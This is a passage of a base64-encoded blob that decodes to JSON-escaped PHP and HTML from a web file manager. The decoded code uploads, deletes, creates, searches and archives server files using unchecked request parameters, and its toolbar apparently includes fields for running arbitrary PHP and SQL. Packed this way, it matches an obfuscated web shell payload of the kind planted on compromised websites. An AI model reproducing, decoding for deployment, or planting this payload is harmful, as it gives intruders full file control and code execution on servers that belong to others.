PVwiPD89JF9SRVFVRVNUWydyZW5hbWUnXT8+XCI+PGJyXC8+XHJcbiAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInNhdmVcIiB2YWx1ZT1cIjw/PV9fKCdTdWJtaXQnKT8+XCI+XHJcbiAgICAgICAgPFwvZm9ybT5cclxuICAgIDxcL3RkPlxyXG48XC90cj5cclxuPFwvdGFibGU+XHJcbjw/cGhwXHJcbn0gZWxzZSB7XHJcblwvXC9MZXQncyByb2NrIVxyXG4gICAgJG1zZyA9ICcnO1xyXG4gICAgaWYoIWVtcHR5KCRfRklMRVNbJ3VwbG9hZCddKSYmIWVtcHR5KCRmbV9jb25maWdbJ3VwbG9hZF9maWxlJ10pKSB7XHJcbiAgICAgICAgaWYoIWVtcHR5KCRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ10pKXtcclxuICAgICAgICAgICAgJF9GSUxFU1sndXBsb2FkJ11bJ25hbWUnXSA9IHN0cl9yZXBsYWNlKCclJywgJycsICRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ10pO1xyXG4gICAgICAgICAgICBpZighbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VwbG9hZCddWyd0bXBfbmFtZSddLCAkcGF0aCAuICRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ10pKXtcclxuICAgICAgICAgICAgICAgICRtc2cgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7XHJcbiAgICAgICAgICAgIH0gZWxzZSB7XHJcblx0XHRcdFx0JG1zZyAuPSBfXygnRmlsZXMgdXBsb2FkZWQnKS4nOiAnLiRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ107XHJcblx0XHRcdH1cclxuICAgICAgICB9XHJcbiAgICB9IGVsc2VpZighZW1wdHkoJF9SRVFVRVNUWydkZWxldGUnXSkmJiRfUkVRVUVTVFsnZGVsZXRlJ108PicuJykge1xyXG4gICAgICAgIGlmKCFmbV9kZWxfZmlsZXMoKCRwYXRoIC4gJF9SRVFVRVNUWydkZWxldGUnXSksIHRydWUpKSB7XHJcbiAgICAgICAgICAgICRtc2cgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7XHJcbiAgICAgICAgfSBlbHNlIHtcclxuXHRcdFx0JG1zZyAuPSBfXygnRGVsZXRlZCcpLicgJy4kX1JFUVVFU1RbJ2RlbGV0ZSddO1xyXG5cdFx0fVxyXG5cdH0gZWxzZWlmKCFlbXB0eSgkX1JFUVVFU1RbJ21rZGlyJ10pJiYhZW1wdHkoJGZtX2NvbmZpZ1snbWFrZV9kaXJlY3RvcnknXSkpIHtcclxuICAgICAgICBpZighQG1rZGlyKCRwYXRoIC4gJF9SRVFVRVNUWydkaXJuYW1lJ10sMDc3NykpIHtcclxuICAgICAgICAgICAgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTtcclxuICAgICAgICB9IGVsc2Uge1xyXG5cdFx0XHQkbXNnIC49IF9fKCdDcmVhdGVkJykuJyAnLiRfUkVRVUVTVFsnZGlybmFtZSddO1xyXG5cdFx0fVxyXG4gICAgfSBlbHNlaWYoIWVtcHR5KCRfUE9TVFsnc2VhcmNoX3JlY3Vyc2l2ZSddKSkge1xyXG5cdFx0aW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgJzAnKTtcclxuXHRcdCRzZWFyY2hfZGF0YSA9ICBmaW5kX3RleHRfaW5fZmlsZXMoJF9QT1NUWydwYXRoJ10sICRfUE9TVFsnbWFzayddLCAkX1BPU1RbJ3NlYXJjaF9yZWN1cnNpdmUnXSk7XHJcblx0XHRpZighZW1wdHkoJHNlYXJjaF9kYXRhKSkge1xyXG5cdFx0XHQkbXNnIC49IF9fKCdGb3VuZCBpbiBmaWxlcycpLicgKCcuY291bnQoJHNlYXJjaF9kYXRhKS4nKTo8YnI+JztcclxuXHRcdFx0Zm9yZWFjaCAoJHNlYXJjaF9kYXRhIGFzICRmaWxlbmFtZSkge1xyXG5cdFx0XHRcdCRtc2cgLj0gJzxhIGhyZWY9XCInLmZtX3VybCh0cnVlKS4nP2ZtPXRydWUmZWRpdD0nLmJhc2VuYW1lKCRmaWxlbmFtZSkuJyZwYXRoPScuc3RyX3JlcGxhY2UoJ1wvJy5iYXNlbmFtZSgkZmlsZW5hbWUpLCdcLycsJGZpbGVuYW1lKS4nXCIgdGl0bGU9XCInIC4gX18oJ0VkaXQnKSAuICdcIj4nLmJhc2VuYW1lKCRmaWxlbmFtZSkuJzxcL2E+Jm5ic3A7ICZuYnNwOyc7XHJcblx0XHRcdH1cclxuXHRcdH0gZWxzZSB7XHJcblx0XHRcdCRtc2cgLj0gX18oJ05vdGhpbmcgZm91bmRlZCcpO1xyXG5cdFx0fVx0XHJcblx0fSBlbHNlaWYoIWVtcHR5KCRfUkVRVUVTVFsnbWtmaWxlJ10pJiYhZW1wdHkoJGZtX2NvbmZpZ1snbmV3X2ZpbGUnXSkpIHtcclxuICAgICAgICBpZighJGZwPUBmb3BlbigkcGF0aCAuICRfUkVRVUVTVFsnZmlsZW5hbWUnXSxcIndcIikpIHtcclxuICAgICAgICAgICAgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTtcclxuICAgICAgICB9IGVsc2Uge1xyXG5cdFx0XHRmY2xvc2UoJGZwKTtcclxuXHRcdFx0JG1zZyAuPSBfXygnQ3JlYXRlZCcpLicgJy4kX1JFUVVFU1RbJ2ZpbGVuYW1lJ107XHJcblx0XHR9XHJcbiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3ppcCddKSkge1xyXG5cdFx0JHNvdXJjZSA9IGJhc2U2NF9kZWNvZGUoJF9HRVRbJ3ppcCddKTtcclxuXHRcdCRkZXN0aW5hdGlvbiA9IGJhc2VuYW1lKCRzb3VyY2UpLicuemlwJztcclxuXHRcdHNldF90aW1lX2xpbWl0KDApO1xyXG5cdFx0JHBoYXIgPSBuZXcgUGhhckRhdGEoJGRlc3RpbmF0aW9uKTtcclxuXHRcdCRwaGFyLT5idWlsZEZyb21EaXJlY3RvcnkoJHNvdXJjZSk7XHJcblx0XHRpZiAoaXNfZmlsZSgkZGVzdGluYXRpb24pKVxyXG5cdFx0JG1zZyAuPSBfXygnVGFzaycpLicgXCInLl9fKCdBcmNoaXZpbmcnKS4nICcuJGRlc3RpbmF0aW9uLidcIiAnLl9fKCdkb25lJykuXHJcblx0XHQnLiZuYnNwOycuZm1fbGluaygnZG93bmxvYWQnLCRwYXRoLiRkZXN0aW5hdGlvbixfXygnRG93bmxvYWQnKSxfXygnRG93bmxvYWQnKS4nICcuICRkZXN0aW5hdGlvbilcclxuXHRcdC4nJm5ic3A7PGEgaHJlZj1cIicuJHVybF9pbmMuJyZkZWxldGU9Jy4kZGVzdGluYXRpb24uJyZwYXRoPScgLiAkcGF0aC4nXCIgdGl0bGU9XCInLl9fKCdEZWxldGUnKS4nICcuICRkZXN0aW5hdGlvbi4nXCIgPicuX18oJ0RlbGV0ZScpIC4gJzxcL2E+JztcclxuXHRcdGVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKS4nOiAnLl9fKCdubyBmaWxlcycpO1xyXG5cdH0gZWxzZWlmIChpc3NldCgkX0dFVFsnZ3onXSkpIHtcclxuXHRcdCRzb3VyY2UgPSBiYXNlNjRfZGVjb2RlKCRfR0VUWydneiddKTtcclxuXHRcdCRhcmNoaXZlID0gJHNvdXJjZS4nLnRhcic7XHJcblx0XHQkZGVzdGluYXRpb24gPSBiYXNlbmFtZSgkc291cmNlKS4nLnRhcic7XHJcblx0XHRpZiAoaXNfZmlsZSgkYXJjaGl2ZSkpIHVubGluaygkYXJjaGl2ZSk7XHJcblx0XHRpZiAoaXNfZmlsZSgkYXJjaGl2ZS4nLmd6JykpIHVubGluaygkYXJjaGl2ZS4nLmd6Jyk7XHJcblx0XHRjbGVhcnN0YXRjYWNoZSgpO1xyXG5cdFx0c2V0X3RpbWVfbGltaXQoMCk7XHJcblx0XHRcL1wvZGllKCk7XHJcblx0XHQkcGhhciA9IG5ldyBQaGFyRGF0YSgkZGVzdGluYXRpb24pO1xyXG5cdFx0JHBoYXItPmJ1aWxkRnJvbURpcmVjdG9yeSgkc291cmNlKTtcclxuXHRcdCRwaGFyLT5jb21wcmVzcyhQaGFyOjpHWiwnLnRhci5neicpO1xyXG5cdFx0dW5zZXQoJHBoYXIpO1xyXG5cdFx0aWYgKGlzX2ZpbGUoJGFyY2hpdmUpKSB7XHJcblx0XHRcdGlmIChpc19maWxlKCRhcmNoaXZlLicuZ3onKSkge1xyXG5cdFx0XHRcdHVubGluaygkYXJjaGl2ZSk7IFxyXG5cdFx0XHRcdCRkZXN0aW5hdGlvbiAuPSAnLmd6JztcclxuXHRcdFx0fVxyXG5cclxuXHRcdFx0JG1zZyAuPSBfXygnVGFzaycpLicgXCInLl9fKCdBcmNoaXZpbmcnKS4nICcuJGRlc3RpbmF0aW9uLidcIiAnLl9fKCdkb25lJykuXHJcblx0XHRcdCcuJm5ic3A7Jy5mbV9saW5rKCdkb3dubG9hZCcsJHBhdGguJGRlc3RpbmF0aW9uLF9fKCdEb3dubG9hZCcpLF9fKCdEb3dubG9hZCcpLicgJy4gJGRlc3RpbmF0aW9uKVxyXG5cdFx0XHQuJyZuYnNwOzxhIGhyZWY9XCInLiR1cmxfaW5jLicmZGVsZXRlPScuJGRlc3RpbmF0aW9uLicmcGF0aD0nIC4gJHBhdGguJ1wiIHRpdGxlPVwiJy5fXygnRGVsZXRlJykuJyAnLiRkZXN0aW5hdGlvbi4nXCIgPicuX18oJ0RlbGV0ZScpLic8XC9hPic7XHJcblx0XHR9IGVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKS4nOiAnLl9fKCdubyBmaWxlcycpO1xyXG5cdH0gZWxzZWlmIChpc3NldCgkX0dFVFsnZGVjb21wcmVzcyddKSkge1xyXG5cdFx0XC9cLyAkc291cmNlID0gYmFzZTY0X2RlY29kZSgkX0dFVFsnZGVjb21wcmVzcyddKTtcclxuXHRcdFwvXC8gJGRlc3RpbmF0aW9uID0gYmFzZW5hbWUoJHNvdXJjZSk7XHJcblx0XHRcL1wvICRleHQgPSBlbmQoZXhwbG9kZShcIi5cIiwgJGRlc3RpbmF0aW9uKSk7XHJcblx0XHRcL1wvIGlmICgkZXh0PT0nemlwJyBPUiAkZXh0PT0nZ3onKSB7XHJcblx0XHRcdFwvXC8gJHBoYXIgPSBuZXcgUGhhckRhdGEoJHNvdXJjZSk7XHJcblx0XHRcdFwvXC8gJHBoYXItPmRlY29tcHJlc3MoKTtcclxuXHRcdFx0XC9cLyAkYmFzZV9maWxlID0gc3RyX3JlcGxhY2UoJy4nLiRleHQsJycsJGRlc3RpbmF0aW9uKTtcclxuXHRcdFx0XC9cLyAkZXh0ID0gZW5kKGV4cGxvZGUoXCIuXCIsICRiYXNlX2ZpbGUpKTtcclxuXHRcdFx0XC9cLyBpZiAoJGV4dD09J3Rhcicpe1xyXG5cdFx0XHRcdFwvXC8gJHBoYXIgPSBuZXcgUGhhckRhdGEoJGJhc2VfZmlsZSk7XHJcblx0XHRcdFx0XC9cLyAkcGhhci0+ZXh0cmFjdFRvKGRpcigkc291cmNlKSk7XHJcblx0XHRcdFwvXC8gfVxyXG5cdFx0XC9cLyB9IFxyXG5cdFx0XC9cLyAkbXNnIC49IF9fKCdUYXNrJykuJyBcIicuX18oJ0RlY29tcHJlc3MnKS4nICcuJHNvdXJjZS4nXCIgJy5fXygnZG9uZScpO1xyXG5cdH0gZWxzZWlmIChpc3NldCgkX0dFVFsnZ3pmaWxlJ10pKSB7XHJcblx0XHQkc291cmNlID0gYmFzZTY0X2RlY29kZSgkX0dFVFsnZ3pmaWxlJ10pO1xyXG5cdFx0JGFyY2hpdmUgPSAkc291cmNlLicudGFyJztcclxuXHRcdCRkZXN0aW5hdGlvbiA9IGJhc2VuYW1lKCRzb3VyY2UpLicudGFyJztcclxuXHRcdGlmIChpc19maWxlKCRhcmNoaXZlKSkgdW5saW5rKCRhcmNoaXZlKTtcclxuXHRcdGlmIChpc19maWxlKCRhcmNoaXZlLicuZ3onKSkgdW5saW5rKCRhcmNoaXZlLicuZ3onKTtcclxuXHRcdHNldF90aW1lX2xpbWl0KDApO1xyXG5cdFx0XC9cL2VjaG8gJGRlc3RpbmF0aW9uO1xyXG5cdFx0JGV4dF9hcnIgPSBleHBsb2RlKCcuJyxiYXNlbmFtZSgkc291cmNlKSk7XHJcblx0XHRpZiAoaXNzZXQoJGV4dF9hcnJbMV0pKSB7XHJcblx0XHRcdHVuc2V0KCRleHRfYXJyWzBdKTtcclxuXHRcdFx0JGV4dD1pbXBsb2RlKCcuJywkZXh0X2Fycik7XHJcblx0XHR9IFxyXG5cdFx0JHBoYXIgPSBuZXcgUGhhckRhdGEoJGRlc3RpbmF0aW9uKTtcclxuXHRcdCRwaGFyLT5hZGRGaWxlKCRzb3VyY2UpO1xyXG5cdFx0JHBoYXItPmNvbXByZXNzKFBoYXI6OkdaLCRleHQuJy50YXIuZ3onKTtcclxuXHRcdHVuc2V0KCRwaGFyKTtcclxuXHRcdGlmIChpc19maWxlKCRhcmNoaXZlKSkge1xyXG5cdFx0XHRpZiAoaXNfZmlsZSgkYXJjaGl2ZS4nLmd6JykpIHtcclxuXHRcdFx0XHR1bmxpbmsoJGFyY2hpdmUpOyBcclxuXHRcdFx0XHQkZGVzdGluYXRpb24gLj0gJy5neic7XHJcblx0XHRcdH1cclxuXHRcdFx0JG1zZyAuPSBfXygnVGFzaycpLicgXCInLl9fKCdBcmNoaXZpbmcnKS4nICcuJGRlc3RpbmF0aW9uLidcIiAnLl9fKCdkb25lJykuXHJcblx0XHRcdCcuJm5ic3A7Jy5mbV9saW5rKCdkb3dubG9hZCcsJHBhdGguJGRlc3RpbmF0aW9uLF9fKCdEb3dubG9hZCcpLF9fKCdEb3dubG9hZCcpLicgJy4gJGRlc3RpbmF0aW9uKVxyXG5cdFx0XHQuJyZuYnNwOzxhIGhyZWY9XCInLiR1cmxfaW5jLicmZGVsZXRlPScuJGRlc3RpbmF0aW9uLicmcGF0aD0nIC4gJHBhdGguJ1wiIHRpdGxlPVwiJy5fXygnRGVsZXRlJykuJyAnLiRkZXN0aW5hdGlvbi4nXCIgPicuX18oJ0RlbGV0ZScpLic8XC9hPic7XHJcblx0XHR9IGVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKS4nOiAnLl9fKCdubyBmaWxlcycpO1xyXG5cdH1cclxuPz5cclxuPHRhYmxlIGNsYXNzPVwid2hvbGVcIiBpZD1cImhlYWRlcl90YWJsZVwiID5cclxuPHRyPlxyXG4gICAgPHRoIGNvbHNwYW49XCIyXCI+PD89X18oJ0ZpbGUgbWFuYWdlcicpPz48Pz0oIWVtcHR5KCRwYXRoKT8nIC0gJy4kcGF0aDonJyk/PjxcL3RoPlxyXG48XC90cj5cclxuPD9waHAgaWYoIWVtcHR5KCRtc2cpKXsgPz5cclxuPHRyPlxyXG5cdDx0ZCBjb2xzcGFuPVwiMlwiIGNsYXNzPVwicm93MlwiPjw/PSRtc2c/PjxcL3RkPlxyXG48XC90cj5cclxuPD9waHAgfSA/PlxyXG48dHI+XHJcbiAgICA8dGQgY2xhc3M9XCJyb3cyXCI+XHJcblx0XHQ8dGFibGU+XHJcblx0XHRcdDx0cj5cclxuXHRcdFx0PHRkPlxyXG5cdFx0XHRcdDw/PWZtX2hvbWUoKT8+XHJcblx0XHRcdDxcL3RkPlxyXG5cdFx0XHQ8dGQ+XHJcblx0XHRcdDw/cGhwIGlmKCFlbXB0eSgkZm1fY29uZmlnWydtYWtlX2RpcmVjdG9yeSddKSkgeyA/PlxyXG5cdFx0XHRcdDxmb3JtIG1ldGhvZD1cInBvc3RcIiBhY3Rpb249XCI8Pz0kdXJsX2luYz8+XCI+XHJcblx0XHRcdFx0PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicGF0aFwiIHZhbHVlPVwiPD89JHBhdGg/PlwiIFwvPlxyXG5cdFx0XHRcdDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJkaXJuYW1lXCIgc2l6ZT1cIjE1XCI+XHJcblx0XHRcdFx0PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwibWtkaXJcIiB2YWx1ZT1cIjw/PV9fKCdNYWtlIGRpcmVjdG9yeScpPz5cIj5cclxuXHRcdFx0XHQ8XC9mb3JtPlxyXG5cdFx0XHQ8P3BocCB9ID8+XHJcblx0XHRcdDxcL3RkPlxyXG5cdFx0XHQ8dGQ+XHJcblx0XHRcdDw/cGhwIGlmKCFlbXB0eSgkZm1fY29uZmlnWyduZXdfZmlsZSddKSkgeyA/PlxyXG5cdFx0XHRcdDxmb3JtIG1ldGhvZD1cInBvc3RcIiBhY3Rpb249XCI8Pz0kdXJsX2luYz8+XCI+XHJcblx0XHRcdFx0PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicGF0aFwiICAgICB2YWx1ZT1cIjw/PSRwYXRoPz5cIiBcLz5cclxuXHRcdFx0XHQ8aW5wdXQgdHlwZT1cInRleHRcIiAgIG5hbWU9XCJmaWxlbmFtZVwiIHNpemU9XCIxNVwiPlxyXG5cdFx0XHRcdDxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cIm1rZmlsZVwiICAgdmFsdWU9XCI8Pz1fXygnTmV3IGZpbGUnKT8+XCI+XHJcblx0XHRcdFx0PFwvZm9ybT5cclxuXHRcdFx0PD9waHAgfSA/PlxyXG5cdFx0XHQ8XC90ZD5cclxuXHRcdFx0PHRkPlxyXG5cdFx0XHRcdDxmb3JtICBtZXRob2Q9XCJwb3N0XCIgYWN0aW9uPVwiPD89JHVybF9pbmM/PlwiIHN0eWxlPVwiZGlzcGxheTppbmxpbmVcIj5cclxuXHRcdFx0XHQ8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCI8Pz0kcGF0aD8+XCIgXC8+XHJcblx0XHRcdFx0PGlucHV0IHR5cGU9XCJ0ZXh0XCIgcGxhY2Vob2xkZXI9XCI8Pz1fXygnUmVjdXJzaXZlIHNlYXJjaCcpPz5cIiBuYW1lPVwic2VhcmNoX3JlY3Vyc2l2ZVwiIHZhbHVlPVwiPD89IWVtcHR5KCRfUE9TVFsnc2VhcmNoX3JlY3Vyc2l2ZSddKT8kX1BPU1RbJ3NlYXJjaF9yZWN1cnNpdmUnXTonJz8+XCIgc2l6ZT1cIjE1XCI+XHJcblx0XHRcdFx0PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm1hc2tcIiBwbGFjZWhvbGRlcj1cIjw/PV9fKCdNYXNrJyk/PlwiIHZhbHVlPVwiPD89IWVtcHR5KCRfUE9TVFsnbWFzayddKT8kX1BPU1RbJ21hc2snXTonKi4qJz8+XCIgc2l6ZT1cIjVcIj5cclxuXHRcdFx0XHQ8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzZWFyY2hcIiB2YWx1ZT1cIjw/PV9fKCdTZWFyY2gnKT8+XCI+XHJcblx0XHRcdFx0PFwvZm9ybT5cclxuXHRcdFx0PFwvdGQ+XHJcblx0XHRcdDx0ZD5cclxuXHRcdFx0PD89Zm1fcnVuX2lucHV0KCdwaHAnKT8+XHJcblx0XHRcdDxcL3RkPlxyXG5cdFx0XHQ8dGQ+XHJcblx0XHRcdDw/PWZtX3J1bl9pbnB1dCgnc3FsJyk/PlxyXG5cdFx0XHQ8XC90ZD5cclxuXHRcdFx0PFwvdHI+XHJcblx0XHQ8XC90YWJsZT5cclxuICAgIDxcL3RkPlxyXG4gICAgPHRkIGNsYXNzPVwicm93M1wiPlxyXG5cdFx0PHRhYmxlPlxyXG5cdFx0PHRyPlxyXG5cdFx0PHRkPlxyXG5cdFx0PD9waHAgaWYgKCFlbXB0eSgkZm1fY29uZmlnWyd1cGxvYWRfZmlsZSddKSkgeyA/PlxyXG5cdFx0XHQ8Zm9ybSBuYW1lPVwiZm9ybTFcIiBtZXRob2Q9XCJwb3N0XCIgYWN0aW9uPVwiPD89JHVybF9pbmM/PlwiIGVuY3R5cGU9XCJtdWx0aXBhcnRcL2Zvcm0tZGF0YVwiPlxyXG5cdFx0XHQ8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCI8Pz0kcGF0aD8+XCIgXC8+XHJcblx0XHRcdDxpbnB1dCB0eXBlPVwiZmlsZVwiIG5hbWU9XCJ1cGxvYWRcIiBpZD1cInVwbG9hZF9oaWRkZW5cIiBzdHlsZT1cInBvc2l0aW9uOiBhYnNvbHV0ZTsgZGlzcGxheTogYmxvY2s7IG92ZXJmbG93OiBoaWRkZW47IHdpZHRoOiAwOyBoZWlnaHQ6IDA7IGJvcmRlcjogMDsgcGFkZGluZzogMDtcIiBvbmNoYW5nZT1cImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd1cGxvYWRfdmlzaWJsZScpLnZhbHVlID0gdGhpcy52YWx1ZTtcIiBcLz5cclxuXHRcdFx0PGlucHV0IHR5cGU9XCJ0ZXh0XCIgcmVhZG9ubHk9XCIxXCIgaWQ9XCJ1cGxvYWRfdmlzaWJsZVwiIHBsYWNlaG9sZGVyPVwiPD89X18oJ1NlbGVjdCB0aGUgZmlsZScpPz5cIiBzdHlsZT1cImN1cnNvcjogcG9pbnRlcjtcIiBvbmNsaWNrPVwiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VwbG9hZF9oaWRkZW4nKS5jbGljaygpO1wiIFwvPlxyXG5cdFx0XHQ8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJ0ZXN0XCIgdmFsdWU9XCI8Pz1fXygnVXBsb2FkJyk/PlwiIFwvPlxyXG5cdFx0XHQ8XC9mb3JtPlxyXG5cdFx0PD9waHAgfSA/PlxyXG5cdFx0PFwvdGQ+XHJcblx0XHQ8dGQ+XHJcblx0XHQ8P3BocCBpZiAoJGF1dGhbJ2F1dGhvcml6ZSddKSB7ID8+XHJcblx0XHRcdDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj4mbmJzcDsmbmJzcDsmbmJzcDtcclxuXHRcdFx0PGlucHV0IG5hbWU9XCJxdWl0XCIgdHlwZT1cImhpZGRlblwiIHZhbHVlPVwiMVwiPlxyXG5cdFx0XHQ8Pz1fXygnSGVsbG8nKT8+LCA8Pz0kYXV0aFsnbG9naW4nXT8+XHJcblx0XHRcdDxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCI8Pz1fXygnUXVpdCcpPz5cIj5cclxuXHRcdFx0PFwvZm9ybT5cclxuXHRcdDw/cGhwIH0gPz5cclxuXHRcdDxcL3RkPlxyXG5cdFx0PHRkPlxyXG5cdFx0PD89Zm1fbGFuZ19mb3JtKCRsYW5ndWFnZSk/PlxyXG5cdFx0PFwvdGQ+XHJcblx0XHQ8dHI+XHJcblx0XHQ8XC90YWJsZT5cclxuICAgIDxcL3RkPlxyXG48XC90cj5cclxuPFwvdGFibGU+XHJcbjx0YWJsZSBjbGFzcz1cImFsbFwiIGJvcmRlcj0nMCcgY2VsbHNwYWNpbmc9JzEnIGNlbGxwYWRkaW5nPScxJyBpZD1cImZtX3RhYmxlXCIgd2lkdGg9XCIxMDAlXCI+XHJcbjx0aGVhZD5cclxuPHRyPiBcclxuICAgIDx0aCBzdHlsZT1cIndoaXRlLXNwYWNlOm5vd3JhcFwiPiA8Pz1fXygnRmlsZW5hbWUnKT8+IDxcL3RoPlxyXG4gICAgPHRoIHN0eWxlPVwid2hpdGUtc3BhY2U6bm93cmFwXCI+IDw/PV9fKCdTaXplJyk/PiA8XC90aD5cclxuICAgIDx0aCBzdHlsZT1cIndoaXRlLXNwYWNlOm5vd3JhcFwiPiA8Pz1fXygnRGF0ZScpPz4gPFwvdGg+XHJcbiAgICA8dGggc3R5bGU9XCJ3aGl0ZS1zcGFjZTpub3dyYXBcIj4gPD89X18oJ1JpZ2h0cycpPz4gPFwvdGg+XHJcbiAgICA8dGggY29sc3Bhbj1cIjRcIiBzdHlsZT1cIndoaXRlLXNwYWNlOm5vd3JhcFwiPiA8Pz1fXygnTWFuYWdlJyk/PiA8XC90aD5cclxuPFwvdHI+XHJcbjxcL3RoZWFkPlxyXG48dGJvZHk+XHJcbjw/cGhwXHJcbiRlbGVtZW50cyA9IGZtX3NjYW5fZGlyKCRwYXRoLCAnJywgJ2FsbCcsIHRydWUpO1xyXG4kZGlycyA9IGFycmF5KCk7XHJcbiRmaWxlcyA9IGFycmF5KCk7XHJcbmZvcmVhY2ggKCRlbGVtZW50cyBhcyAkZmlsZSl7XHJcbiAgICBpZihAaXNfZGlyKCRwYXRoIC4gJGZpbGUpKXtcclxuICAgICAgICAkZGlyc1tdID0gJGZpbGU7XHJcbiAgICB9IGVsc2Uge1xyXG4gICAgICAgICRmaWxlc1tdID0gJGZpbGU7XHJcbiAgICB9XHJcbn1cclxubmF0c29ydCgkZGlycyk7IG5hdHNvcnQoJGZpbGVzKTtcclxuJGVsZW1lbnRzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7XHJcblxyXG5mb3JlYWNoICgkZWxlbWVudHMgYXMgJGZpbGUpe1xyXG4gICAgJGZpbGVuYW1lID0gJHBhdGggLiAkZmlsZTtcclxuICAgICRmaWxlZGF0YSA9IEBzdGF0KCRmaWxlbmFtZSk7XHJcbiAgICBpZihAaXNfZGlyKCRmaWxlbmFtZSkpe1xyXG5cdFx0JGZpbGVkYXRhWzddID0gJyc7XHJcblx0XHRpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3Nob3dfZGlyX3NpemUnXSkmJiFmbV9yb290KCRmaWxlKSkgJGZpbGVkYXRhWzddID0gZm1fZGlyX3NpemUoJGZpbGVuYW1lKTtcclxuICAgICAgICAkbGluayA9ICc8YSBocmVmPVwiJy4kdXJsX2luYy4nJnBhdGg9Jy4kcGF0aC4kZmlsZS4nXCIgdGl0bGU9XCInLl9fKCdTaG93JykuJyAnLiRmaWxlLidcIj48c3BhbiBjbGFzcz1cImZvbGRlclwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxcL3NwYW4+ICcuJGZpbGUuJzxcL2E+JztcclxuICAgICAgICAkbG9hZGxpbms9IChmbV9yb290KCRmaWxlKXx8JHBoYXJfbWF5YmUpID8gJycgOiBmbV9saW5rKCd6aXAnLCRmaWxlbmFtZSxfXygnQ29tcHJlc3MnKS4nJm5ic3A7emlwJyxfXygnQXJjaGl2aW5nJykuJyAnLiAkZmlsZSk7XHJcblx0XHQkYXJsaW5rICA9IChmbV9yb290KCRmaWxlKXx8JHBoYXJfbWF5YmUpID8gJycgOiBmbV9saW5rKCdneicsJGZpbGVuYW1lLF9fKCdDb21wcmVzcycpLicmbmJzcDsudGFyLmd6JyxfXygnQXJjaGl2aW5nJykuJyAnLiRmaWxlKTtcclxuICAgICAgICAkc3R5bGUgPSAncm93Mic7XHJcblx0XHQgaWYgKCFmbV9yb290KCRmaWxlKSkgJGFsZXJ0ID0gJ29uQ2xpY2s9XCJpZihjb25maXJtKFxcJycgLiBfXygnQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzIGRpcmVjdG9yeSAocmVjdXJzaXZlbHkpPycpLidcXG4gXC8nLiAkZmlsZS4gJ1xcJykpIGRvY3VtZW50LmxvY2F0aW9uLmhyZWYgPSBcXCcnIC4gJHVybF9pbmMgLiAnJmRlbGV0ZT0nIC4gJGZpbGUgLiAnJnBhdGg9JyAuICRwYXRoICAuICdcXCdcIic7IGVsc2UgJGFsZXJ0ID0gJyc7XHJcbiAgICB9IGVsc2Uge1xyXG5cdFx0JGxpbmsgPSBcclxuXHRcdFx0JGZtX2NvbmZpZ1snc2hvd19pbWcnXSYmQGdldGltYWdlc2l6ZSgkZmlsZW5hbWUpIFxyXG5cdFx0XHQ/ICc8YSB0YXJnZXQ9XCJfYmxhbmtcIiBvbmNsaWNrPVwidmFyIGxlZnRvID0gc2NyZWVuLmF2YWlsV2lkdGhcLzItMzIwO3dpbmRvdy5vcGVuKFxcJydcclxuXHRcdFx0LiBmbV9pbWdfbGluaygkZmlsZW5hbWUpXHJcblx0XHRcdC4nXFwnLFxcJ3BvcHVwXFwnLFxcJ3dpZHRoPTY0MCxoZWlnaHQ9NDgwLGxlZnQ9XFwnICsgbGVmdG8gKyBcXCcsc2Nyb2xsYmFycz15ZXMsdG9vbGJhcj1ubyxsb2NhdGlvbj1ubyxkaXJlY3Rvcmllcz1ubyxzdGF0dXM9bm9cXCcpO3JldHVybiBmYWxzZTtcIiBocmVmPVwiJy5mbV9pbWdfbGluaygkZmlsZW5hbWUpLidcIj48c3BhbiBjbGFzcz1cImltZ1wiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxcL3NwYW4+ICcuJGZpbGUuJzxcL2E+J1xyXG5cdFx0XHQ6ICc8YSBocmVmPVwiJyAuICR1cmxfaW5jIC4gJyZlZGl0PScgLiAkZmlsZSAuICcmcGF0aD0nIC4gJHBhdGguICdcIiB0aXRsZT1cIicgLiBfXygnRWRpdCcpIC4gJ1wiPjxzcGFuIGNsYXNzPVwiZmlsZVwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxcL3NwYW4+ICcuJGZpbGUuJzxcL2E+JztcclxuXHRcdCRlX2FyciA9IGV4cGxvZGUoXCIuXCIsICRmaWxlKTtcclxuXHRcdCR